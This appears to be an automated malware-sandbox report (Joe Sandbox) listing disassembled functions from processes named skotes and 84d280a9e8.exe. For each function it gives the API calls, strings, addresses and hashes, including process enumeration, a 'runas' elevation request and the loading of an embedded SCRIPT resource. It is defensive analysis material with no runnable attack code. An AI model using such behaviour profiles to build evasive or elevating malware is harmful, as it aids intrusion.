_ValidateLocalCookies.LIBCMT ref: 00DD4988

Strings

csm, xrefs: 00DD491D

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 0082ce7f5bcd727d2a4948a42b461793f86dea0bc31bb0b327bc96e75286730b
Instruction ID: b939f4f3236814d9cf5ab7bfc2fd722f66406ffb6680eb25d1067d3518900d88
Opcode Fuzzy Hash: 0082ce7f5bcd727d2a4948a42b461793f86dea0bc31bb0b327bc96e75286730b
Instruction Fuzzy Hash: 0551E434A002489BCF10DF69D895AAF7BB5EF45324F18815AE8189B392D732DA15CFB1

Function 00DDF35F Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00DDF3A3

Strings

`', xrefs: 00DDF375
x!, xrefs: 00DDF465
8", xrefs: 00DDF44B

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"$`'$x!
API String ID: 3903695350-873893488
Opcode ID: 5658041c0a5bf4290c4e1edb60dfd538b1a42704a717d1246023957603373cf4
Instruction ID: 4122d0d6dac4a56b76e250f9b8864aafe82e4ca652003e53fd0f16792be74224
Opcode Fuzzy Hash: 5658041c0a5bf4290c4e1edb60dfd538b1a42704a717d1246023957603373cf4
Instruction Fuzzy Hash: 54313B31604241EFEB21AB7DD845B5B73E9EF40351F18842BE446D7795EE70A8848A31

Function 00DDCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00DDCC66

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: ce37887f30ea0564cd60548a0c9790ee0c691041b47014627f2d8f1a3bab5088
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: F1B146729242879FDB11CF68C8817AEBBE6EF45340F18516BE955EB341D6349D02CBB0

Function 00DBBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00DBBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00DBBBE4
_xtime_get.LIBCPMT ref: 00DBBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00DBBC13

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 6a78cb987abacd9b710df4399c5f697658af6a9045f09bea204da02b0b24edd9
Instruction ID: 7807ab64521fdc0be3192cdc63b8c462716909d7848b9045a2d8d1d4749e8c34
Opcode Fuzzy Hash: 6a78cb987abacd9b710df4399c5f697658af6a9045f09bea204da02b0b24edd9
Instruction Fuzzy Hash: 60210C71A11219EFDF00EFA4D8859FEBBB9FF08710F10506AF502A7261DB609D019BB0

Function 00DAE360 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00DAE4F9

Strings

invalid stoi argument, xrefs: 00DAE4F4
L1, xrefs: 00DAE394

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_
String ID: L1$invalid stoi argument
API String ID: 909987262-3568411768
Opcode ID: cb64a260cfb711d7b5c4dbc45590a3954e08765d924b23545f876309179cc8b8
Instruction ID: 0400311825fd5a24121fe82a8edaa4a4aa643b35318ac2f05ab67588dd3e274d
Opcode Fuzzy Hash: cb64a260cfb711d7b5c4dbc45590a3954e08765d924b23545f876309179cc8b8
Instruction Fuzzy Hash: 61F09671901314AFD7209B68AC0695773ECEB4A710F144425FD24A3252EB70B944D6F3

Analysis Process: 84d280a9e8.exePID: 7884, Parent PID: 7692COMMON

Execution Graph

Execution Coverage:	1.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.7%
Total number of Nodes:	1539
Total number of Limit Nodes:	51

Executed Functions

Function 00B242DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00B2430D

Part of subcall function 00B26B57: _wcslen.LIBCMT ref: 00B26B6A

GetCurrentProcess.KERNEL32(?,00BBCB64,00000000,?,?), ref: 00B24422
IsWow64Process.KERNEL32(00000000,?,?), ref: 00B24429
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 00B24454
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00B24466
GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 00B24474
FreeLibrary.KERNEL32(00000000,?,?), ref: 00B2447B
GetSystemInfo.KERNEL32(?,?,?), ref: 00B244A0

Strings

kernel32.dll, xrefs: 00B2444F
GetNativeSystemInfo, xrefs: 00B24460
|O, xrefs: 00B636F8

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: ae52958c671be2109382cf211d5bc1fee65b3da6b5c2f1947c732ce151e4eed7
Instruction ID: f3abc73cb85f3fdd723b68413163bdaabff5f6dbcd1226e555aecb6c16096033
Opcode Fuzzy Hash: ae52958c671be2109382cf211d5bc1fee65b3da6b5c2f1947c732ce151e4eed7
Instruction Fuzzy Hash: C8A1837690A2D4FFC712DB6DBC815B57FE4AB26700B085CE9D09993B22DF744908CB29

Function 00B242A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,00B250AA,?,?,00000000,00000000), ref: 00B242B2
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00B250AA,?,?,00000000,00000000), ref: 00B242C9
LoadResource.KERNEL32(?,00000000,?,?,00B250AA,?,?,00000000,00000000,?,?,?,?,?,?,00B24F20), ref: 00B635BE
SizeofResource.KERNEL32(?,00000000,?,?,00B250AA,?,?,00000000,00000000,?,?,?,?,?,?,00B24F20), ref: 00B635D3
LockResource.KERNEL32(00B250AA,?,?,00B250AA,?,?,00000000,00000000,?,?,?,?,?,?,00B24F20,?), ref: 00B635E6

Strings

SCRIPT, xrefs: 00B242BF

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: a1a2d723248be4bd64260c5a64f614b741ea408cf1664abd7a29fbe423b35643
Instruction ID: 34687a7b30f4031465270ec9f4a96353f9744162754f2522f5d51dfc827a8b77
Opcode Fuzzy Hash: a1a2d723248be4bd64260c5a64f614b741ea408cf1664abd7a29fbe423b35643
Instruction Fuzzy Hash: DA112A71200611EFDB218B66EC49F677BB9EBC5B51F2482A9B40696660DBB1D8048A60

Function 00B62BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetCurrentDirectoryW.KERNEL32(?), ref: 00B22B6B

Part of subcall function 00B23A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00BF1418,?,00B22E7F,?,?,?,00000000), ref: 00B23A78

Part of subcall function 00B29CB3: _wcslen.LIBCMT ref: 00B29CBD

GetForegroundWindow.USER32(runas,?,?,?,?,?,00BE2224), ref: 00B62C10
ShellExecuteW.SHELL32(00000000,?,?,00BE2224), ref: 00B62C17

Strings

runas, xrefs: 00B62C0B

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
String ID: runas
API String ID: 448630720-4000483414
Opcode ID: b4f8f37cbc9adaa863172d2863622ca99404d77578ef8ed87ec50e0a1566efbc
Instruction ID: ee48020fb9fb8798d77ba72d25e9d6f9415eb7038327e85b0974115e7f918a34
Opcode Fuzzy Hash: b4f8f37cbc9adaa863172d2863622ca99404d77578ef8ed87ec50e0a1566efbc
Instruction Fuzzy Hash: A711E131208355AAC714FF24F8569BE7BE8EB95740F480DECF18E570A2CF258A0AC712

Function 00BAA67C Relevance: 6.2, APIs: 4, Instructions: 175
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00BAA6AC
Process32FirstW.KERNEL32(00000000,?), ref: 00BAA6BA

Part of subcall function 00B29CB3: _wcslen.LIBCMT ref: 00B29CBD

Process32NextW.KERNEL32(00000000,?), ref: 00BAA79C
CloseHandle.KERNELBASE(00000000), ref: 00BAA7AB

Part of subcall function 00B3CE60: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,00B63303,?), ref: 00B3CE8A

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: 079702c8ab33e192367eccc0d2dce821cd846fa1c87eff16fd23134a1e061da9
Instruction ID: c4a30767f5ab4bdc1cebdb6b815aa8a83d652234113aabfc602dbc1fc7eec7bb
Opcode Fuzzy Hash: 079702c8ab33e192367eccc0d2dce821cd846fa1c87eff16fd23134a1e061da9
Instruction Fuzzy Hash: 8B514D71508310AFD710EF24D886E6BBBE8FF89754F00496DF589A7251EB70D904CBA2

Function 00B8DBBE Relevance: 6.0, APIs: 4, Instructions: 29
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(?,00B65222), ref: 00B8DBCE
GetFileAttributesW.KERNELBASE(?), ref: 00B8DBDD
FindFirstFileW.KERNEL32(?,?), ref: 00B8DBEE
FindClose.KERNEL32(00000000), ref: 00B8DBFA

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: b0645a312fcffaedc062977250cdf261cb32831ea7ac0f9f4b59d4a38832a155
Instruction ID: 3bdf8d69f8f5a24fce399293f651ad32dfc9ddba48194d80a5fb8f10024540ce
Opcode Fuzzy Hash: b0645a312fcffaedc062977250cdf261cb32831ea7ac0f9f4b59d4a38832a155
Instruction Fuzzy Hash: ACF039318149146B8220BF7CAD0D8AA7BACDE42335B544B47F876D21F0EFF09D95CA96

Function 00BAAFF9 Relevance: 24.4, APIs: 16, Instructions: 418
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 00BAB198
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00BAB1B0
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00BAB1D4
_wcslen.LIBCMT ref: 00BAB200
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00BAB214
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00BAB236
_wcslen.LIBCMT ref: 00BAB332

Part of subcall function 00B905A7: GetStdHandle.KERNEL32(000000F6), ref: 00B905C6

_wcslen.LIBCMT ref: 00BAB34B
_wcslen.LIBCMT ref: 00BAB366
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00BAB3B6
GetLastError.KERNEL32(00000000), ref: 00BAB407
CloseHandle.KERNEL32(?), ref: 00BAB439
CloseHandle.KERNEL32(00000000), ref: 00BAB44A
CloseHandle.KERNEL32(00000000), ref: 00BAB45C
CloseHandle.KERNEL32(00000000), ref: 00BAB46E
CloseHandle.KERNEL32(?), ref: 00BAB4E3

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: 3ca2fba30205e4c2186952c9a0433a306d7af4dcf62e13e175d986dc2594aa5f
Instruction ID: 8d0e88729060db830d8127b7e98230370b0ad5e9326035d027d355414af63417
Opcode Fuzzy Hash: 3ca2fba30205e4c2186952c9a0433a306d7af4dcf62e13e175d986dc2594aa5f
Instruction Fuzzy Hash: ECF169315083509FCB24EF24D891F6ABBE5EF86314F14859DF8999B2A2CB31EC44CB52

Function 00B2D730 Relevance: 21.6, APIs: 14, Instructions: 631windowsleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00B2D807
timeGetTime.WINMM ref: 00B2DA07
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00B2DB28
TranslateMessage.USER32(?), ref: 00B2DB7B
DispatchMessageW.USER32(?), ref: 00B2DB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00B2DB9F
Sleep.KERNELBASE(0000000A), ref: 00B2DBB1

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
String ID:
API String ID: 2189390790-0
Opcode ID: 1505d86b13b0ec5e4134ffdfdf6007e196c978b177a585a09b6091af1ea19d40
Instruction ID: 2691a589a7df3ca765270035e917e9ef041b3da8816b50fdcd750b3f202032c5
Opcode Fuzzy Hash: 1505d86b13b0ec5e4134ffdfdf6007e196c978b177a585a09b6091af1ea19d40
Instruction Fuzzy Hash: 6942F430604251DFD725CF28D894BAAB7E1FF55304F148AA9F5AD8B391DB70E884CB92

Function 00B22CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00B22D07
RegisterClassExW.USER32(00000030), ref: 00B22D31
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00B22D42
InitCommonControlsEx.COMCTL32(?), ref: 00B22D5F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00B22D6F
LoadIconW.USER32(000000A9), ref: 00B22D85
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00B22D94

Strings

AutoIt v3 GUI, xrefs: 00B22D23
+, xrefs: 00B22CF0
0, xrefs: 00B22CE9
TaskbarCreated, xrefs: 00B22D37

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 1ee7137c630c082afac207f4f5305512498dec04f0c13fb54c28c79183e37824
Instruction ID: 9690fa89580cd250f0d6c0ed43750d36caf6d4c8c3a3d36ebc1c8cda97900422
Opcode Fuzzy Hash: 1ee7137c630c082afac207f4f5305512498dec04f0c13fb54c28c79183e37824
Instruction Fuzzy Hash: D721A2B5911218EBDB00DFA9E849AADBFB8FB08700F108A1AE551A72A0DBF14545CF95

Function 00B6065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B6039A: CreateFileW.KERNELBASE(00000000,00000000,?,00B60704,?,?,00000000,?,00B60704,00000000,0000000C), ref: 00B603B7

GetLastError.KERNEL32 ref: 00B6076F
__dosmaperr.LIBCMT ref: 00B60776
GetFileType.KERNELBASE(00000000), ref: 00B60782
GetLastError.KERNEL32 ref: 00B6078C
__dosmaperr.LIBCMT ref: 00B60795
CloseHandle.KERNEL32(00000000), ref: 00B607B5
CloseHandle.KERNEL32(?), ref: 00B608FF
GetLastError.KERNEL32 ref: 00B60931
__dosmaperr.LIBCMT ref: 00B60938

Strings

H, xrefs: 00B608BD

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: bae19f4e878ddfb39c1208fa7de0d6515a43778c785fb67a78f9f6291b2e9529
